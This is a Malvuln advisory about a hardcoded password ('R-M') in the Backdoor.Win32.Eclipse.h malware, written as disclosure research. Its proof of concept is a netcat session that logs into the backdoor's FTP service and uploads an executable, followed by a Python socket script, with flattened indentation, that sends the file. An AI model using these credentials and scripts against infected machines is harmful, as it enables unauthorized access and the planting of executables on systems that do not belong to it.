Backdoor.Win32.Eclipse.h MVID-2022-0625 Hardcoded Credential

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Eclipse.h  
Vulnerability: Weak Hardcoded Credentials  
Family: Eclipse  
Type: PE32  
MD5: 8b470931114527b4dce42034a95ebf46  
Vuln ID: MVID-2022-0625  
Disclosure: 07/21/2022  
Description: The malware listens on TCP port 6210 and authentication is required. However, the backdoor accepts any USER name for authentication and the password "R-M" is weak and hardcoded within the PE file. Unpacking the UPX packed executable, easily reveals the cleartext hardcoded password.  
  
00437590 dd 3 ; Len  
00437590 db 'R-M',0 ; Text  
0043759C _str_6210 dd 0FFFFFFFFh ; _top  
  
Exploit/PoC:  
C:\>nc64.exe 192.168.18.125 6210  
220 Servidor FTP Temporal Ver. 2.1 por Vlad  
USER malvuln  
331 Password required for malvuln.  
PASS R-M  
230 User malvuln logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
MKD HATE  
257 'C:\HATE': directory created.  
CWD HATE  
250 CWD command successful. "C:/HATE/" is current directory.  
PASV  
227 Entering Passive Mode (192,168,18,125,213,228).  
STOR DOOM_SM.exe  
150 Opening data connection for DOOM_SM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=54756  
DOOM="DOOM_SM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`